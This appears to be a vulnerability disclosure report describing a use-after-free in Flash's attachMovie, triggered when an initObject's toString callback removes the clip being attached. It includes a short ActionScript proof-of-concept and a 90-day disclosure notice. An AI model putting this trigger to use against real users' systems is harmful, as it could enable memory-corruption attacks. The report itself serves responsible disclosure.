There is a use-after-free in attachMovie due to the initObject. If the initObject contains an object that calls a method that deletes the movie clip that is being attached, a use-after-free occurs. A proof-of-concept is as follows:
n = {_quality : {toString : func}};
function func(){
trace("hello");
newResetButton.removeMovieClip();
return "test";
}
_root.attachMovie("myResetButton","newResetButton",200, n);
A sample fla and swf are attached.
This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.
